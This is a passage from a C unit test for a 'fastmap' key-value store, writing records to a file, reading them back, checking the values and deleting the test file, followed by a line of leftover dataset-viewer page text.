ok(!(ohandle.handle.flags & 0x02), "!INLINE_BLOCK");
for (i = 0; i < (sizeof(blocks) / sizeof(blocks[0])); i++)
ok(fastmap_outhandle_put(&ohandle, (fastmap_record_t*)&blocks[i]) == FASTMAP_OK, "fastmap_outhandle_put(\"%s\")", blocks[i].key);
fastmap_outhandle_destroy(&ohandle);
fastmap_inhandle_init(&ihandle, pathname);
ok(!(ihandle.handle.flags & 0x02), "!INLINE_BLOCKS");
for (i = 0; i < (sizeof(blocks) / sizeof(blocks[0])); i++)
{
block.key = blocks[i].key;
ok(fastmap_inhandle_get(&ihandle, (fastmap_record_t*)&block) == FASTMAP_OK, "fastmap_inhandle_get(\"%s\")", block.key);
strncpy(buf, block.value, strlen(blocks[i].value));
is(buf, blocks[i].value, "%s == %s", buf, blocks[i].value);
}
fastmap_inhandle_destroy(&ihandle);
ok(unlink(pathname) == 0, "unlink()");
free(pathname);
done_testing();
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.